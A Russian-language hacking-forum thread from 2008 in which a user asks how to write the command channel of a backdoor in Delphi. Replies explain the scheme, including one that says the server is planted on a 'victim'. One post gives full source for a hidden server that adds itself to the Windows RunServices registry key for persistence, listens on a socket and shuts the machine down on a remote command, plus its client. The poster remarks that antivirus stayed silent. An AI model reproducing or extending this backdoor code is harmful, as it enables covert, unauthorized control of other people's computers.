ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > С/С++, C#, Delphi, .NET, Asm
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Бекдор. Передача команд
  #1  
Старый 03.11.2008, 13:36
ronald
Участник форума
Регистрация: 27.03.2008
Сообщений: 288
Провел на форуме:
800727

Репутация: 83
Отправить сообщение для ronald с помощью ICQ
Question Бекдор. Передача команд

Привет всем!
Подскажите пожалуйста как средством UDP/TCP/Sockets... на делфи (7) написать бекдор, а точнее часть, передающую команды.
К примеру:
Client: reboot
Server получает и идёт выполнение команды
ExitWindowsEx(EWX_REBOOT,0);
Подскажите как?
 
Ответить с цитированием

  #2  
Старый 03.11.2008, 13:41
De-visible
Banned
Регистрация: 06.01.2008
Сообщений: 904
Провел на форуме:
4037638

Репутация: 1821


Отправить сообщение для De-visible с помощью ICQ
По умолчанию

Часть передающая команды, обычно называется клиентом, в просторах интернета показано не мало примеров по написание троянов, что именно тебе непонятно?
 
Ответить с цитированием

  #3  
Старый 03.11.2008, 13:45
ronald
Участник форума
Регистрация: 27.03.2008
Сообщений: 288
Провел на форуме:
800727

Репутация: 83
Отправить сообщение для ronald с помощью ICQ
По умолчанию

мне непонятен именно сам механизм анализа переданной команды сервером
 
Ответить с цитированием

  #4  
Старый 03.11.2008, 18:07
_nic
Постоянный
Регистрация: 05.05.2006
Сообщений: 743
Провел на форуме:
2982851

Репутация: 107


По умолчанию

Цитата:
Сообщение от ronald  
мне непонятен именно сам механизм анализа переданной команды сервером
А чего тут не понятного?Тут подумать и все станет понятно
Или писать обертку для выполнения апи ф-ций через сокеты.Или запустить cmd с перенаправлением ввода\вывода через сокеты.
 
Ответить с цитированием

  #5  
Старый 03.11.2008, 21:30
reza4ok
Новичок
Регистрация: 03.05.2008
Сообщений: 19
Провел на форуме:
172889

Репутация: 1
Отправить сообщение для reza4ok с помощью ICQ
Post

Если я правильно понял то тебе нада написать сервер и клиент для его управления. Сервер должен открыть порт:

Код:
TcpServer1.LocalPort := '1111'; //указываеш какой порт нада октрыть
Код:
 TcpServer1.Active := True; // открывается порт
Потом идёт обработка команды
Код:
 u:=false; //переменной U присваеваем ложь
begin
repeat
sleep(1000);
if TcpServer1.ReceiveLn = 'X' then // если получили команду "X", то выпольняеш нужную тебе команду или процедуру
until U;
end;
Теперь кодиш клиент:
Код:
 TcpClient1.RemoteHost := Edit1.Text; // ip сервера
TcpClient1.RemotePort := '1111'; // порт такой же как у сервера
TcpClient1.Active := True;
Ну а что бы послать команды используй:
Код:
 TcpClient1.Sendln(Edit2.Text); // здесь должна быть команда, то есть как я писал - Х
Но здесь мождна обойтись и без Edit2.Text а просто кнопкой
Надеюсь написал то что ты хотел :-)
 
Ответить с цитированием

  #6  
Старый 07.11.2008, 01:00
Gulik
Новичок
Регистрация: 15.03.2007
Сообщений: 20
Провел на форуме:
133734

Репутация: 19
Отправить сообщение для Gulik с помощью ICQ
По умолчанию

Полные исходники:


Нужно Form1 убрать из Avto Create
Сервер
Код:
program Intersec;

uses
  Forms,
  Windows,
  Unit1 in 'Unit1.pas' {Form1};

{$R *.res}
   var
      WhEvent : THandle; 
begin
   Application.Initialize;
   ShowWindow(Application.Handle,SW_HIDE);
   Form1:=TForm1.Create(nil);
   Application.Run;
   WhEvent:=CreateEvent(nil, true, false, 'et');
   while (true) do begin
      WaitForSingleObject(WhEvent, 1000);
      Application.ProcessMessages;
   end;
end.
Код:
unit Unit1;

interface

uses
  Windows, Messages, registry, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ScktComp;

type
  TForm1 = class(TForm)
    ServerSocket1: TServerSocket;
    procedure FormCreate(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
    procedure ServerSocket1ClientRead(Sender: TObject;
      Socket: TCustomWinSocket);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
   var
      RegIni : TRegIniFile;
begin
   RegIni:=TRegIniFile.Create('Software');
   RegIni.RootKey:=HKEY_LOCAL_MACHINE;
   RegIni.OpenKey('Software', true);
   RegIni.OpenKey('Microsoft', true);
   RegIni.OpenKey('Windows', true);
   RegIni.OpenKey('CurrentVersion', true);
   RegIni.WriteString('RunServices', 'Intersec.exe', 'Application.ExeName');
   RegIni.Free;  
   ServerSocket1.Active:=true;
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
   ServerSocket1.Active:=False;
end;

procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
  Socket: TCustomWinSocket);
   var
      s: String;
begin
   s:= Socket.ReceiveText;
   if s='Reboot' then
      ExitWindowsEx(EWX_SHUTDOWN, 0);  // или ExitWindowsEx(EWX_FORCE, 0); для мгновенного выключения компа
end;

end.
Клинет:
Код:
unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ScktComp, StdCtrls;

type
  TForm1 = class(TForm)
    Button1: TButton;
    Edit1: TEdit;
    ClientSocket1: TClientSocket;
    Label1: TLabel;
    Edit2: TEdit;
    Label2: TLabel;
    procedure Button1Click(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
begin
   ClientSocket1.Address:=Edit1.Text;
   ClientSocket1.Active:=True;
   ClientSocket1.Socket.SendText(Edit2.Text);
   ClientSocket1.Active:=False;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin

end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
   if ClientSocket1.Active then
      ClientSocket1.Active:=False;
end;

end.
Так же можно скачать размер 384.93 KB

В архиве exe`шники так что может сработать антивирус.
Мой NOD32 v3 молчал.
 
Ответить с цитированием

  #7  
Старый 07.11.2008, 04:48
LEE_ROY
Постоянный
Регистрация: 09.11.2006
Сообщений: 639
Провел на форуме:
1917742

Репутация: 541


По умолчанию

в примерах от борланда вроде была работа с сокетами на станд.компонентах ....
 
Ответить с цитированием

  #8  
Старый 07.11.2008, 10:19
slesh
Reservists Of Antichat - Level 6
Регистрация: 05.03.2007
Сообщений: 1,985
Провел на форуме:
3288241

Репутация: 3349


Отправить сообщение для slesh с помощью ICQ
По умолчанию

o_O делфи + vcl =бекдор
Читай Delphi World aka 5005 статей по делфи. Там хорошо описана работа с сокетами через winsock. И размер будет меньше и работать будет шустрее.
А на счет того как отправлять команды, то если не юзать всё в стиле терминала, то использую чтото типа пакетного режима. а именно
типа такой пакет строй:CMD_ID_1#CMD_ID_2#
другими словами - посылаешь коды команды разделенные какминить не цифровым символом типа #
А в проге разбиваешь на составляющие части, далее strtoint а затем уже через case выбираешь нужное действие и после выполнения действия можно сделать ответный пакет типа CMD_ID#REPLY_CODE#REPLY
т.е. ID команды которую выполнил. Ошибка или удачно и результат выполнения, если он конечно предусматривается, типа если вернуть список процессов )
Но всёже достаточно будет сделать обычный шелл. И уже не нужно будет клиентсткое приложение. Для примера можешь глянуть шел с паролем вот тут http://forum.antichat.ru/showthread.php?p=892048#post892048
 
Ответить с цитированием

  #9  
Старый 07.11.2008, 10:47
_Pantera_
Участник форума
Регистрация: 06.10.2006
Сообщений: 226
Провел на форуме:
3025546

Репутация: 1327
Отправить сообщение для _Pantera_ с помощью ICQ
По умолчанию

Цитата:
Сообщение от ronald  
мне непонятен именно сам механизм анализа переданной команды сервером
Тут все очень просто. Описывю в двух словах:
У тебя на компе остается Клиент, а сервер ты забрасывешь жертве. Сервер должен открыть порт и ждать подключения от клиента. После того как Клиент проконектиться к серверу у тебя появляеться возможность передавть команды. Команды, это просто строка текста, которая отправляется с клиента на сервер. На сервере она обрабатывается и через условие проверяется. Т.е весь код на отключение, открытие сидюка и прочее храниться на сервере а клиент только отпрвляет команды. Вот общий пример:

Сервер - открываем порт и ждем подключения
Кслиент- конектимся на порт
Клиент - отправляем строку текста "open" на сервер
Сервер - проверемя через условие(если получена команда "open" тогда открываем сидиром)
и т.д пока не будет получена команда на дисконект
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Передача о хакерах. Cthulchu Болталка 17 16.06.2008 02:14
Прямое введение команд в Sql сервер k00p3r Чужие Статьи 1 13.06.2005 21:05
Передача cookies Майор E-Mail 10 26.03.2005 21:18



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ